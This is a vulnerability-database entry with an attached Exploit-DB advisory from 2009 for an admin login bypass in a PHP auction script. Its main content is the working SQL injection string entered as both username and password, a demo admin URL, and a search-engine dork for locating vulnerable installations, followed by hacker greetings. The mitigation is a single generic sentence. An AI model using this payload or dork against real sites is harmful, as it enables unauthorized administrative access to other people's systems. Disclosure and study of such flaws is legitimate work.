Auction_Software Script Admin Login Bypass vulnerability

vendor:

Auction_Software Script

by:

altbta

7,5

CVSS

HIGH

Auth Bypass

287

CWE

Product Name: Auction_Software Script

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Auction_Software Script Admin Login Bypass vulnerability

A vulnerability in Auction_Software Script allows an attacker to bypass authentication and gain access to the admin panel. The attacker can use the username ' or 1=1 or ''=' and the password ' or 1=1 or ''=' to gain access.

Mitigation:

Ensure that authentication is properly implemented and that user input is properly sanitized.

Source

Exploit-DB raw data:

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name :  Auction_Software Script Admin Login Bypass vulnerability
vendor URL :http://www.brotherscripts.com/
Price:  $24.95
Author : altbta <l_9[at]hotmail.com>
dork : "PHPAuction GPL Enhanced V2.51 by AuctionCode.com"

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Xploit : Auth Bypass
Demo :
http://www.site.com/demos/Auction_Software/admin/

UserName: ' or 1=1 or ''='

Password: ' or 1=1 or ''='


1-=-=-=-=-=-=-=-=-=-=-=-=-=-= (altbta) =-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
greetz to : RoMaNcYxHaCkEr & sad hacker & ab0-3th4b & Mr.SaFa7 & Mn7oS & V !
V 3
Evil-Cod3r & asL-Sabia & ! Dr.www ! & MaKKaWi & ZaIdOoHxHaCkEr & al.bito
SnIpEr.SiTeS & R3d-D3v!L & MN9

xp10.me/xp10 & v4-team.com/cc